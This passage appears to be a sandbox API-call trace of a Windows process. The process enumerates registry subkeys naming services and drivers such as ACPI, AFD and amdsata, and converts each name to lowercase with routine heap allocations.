lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0239.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.389] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0239.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1da8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.390] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.390] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.390] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0239.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.390] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.391] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1928, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.391] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.391] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0239.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.392] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.392] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.392] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.392] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0239.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.393] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0239.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0239.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.393] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0239.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0239.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.393] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0239.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0239.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.393] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.393] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0239.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0239.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.394] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0239.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0239.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.394] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0239.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0239.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.394] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.394] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.395] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.395] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, 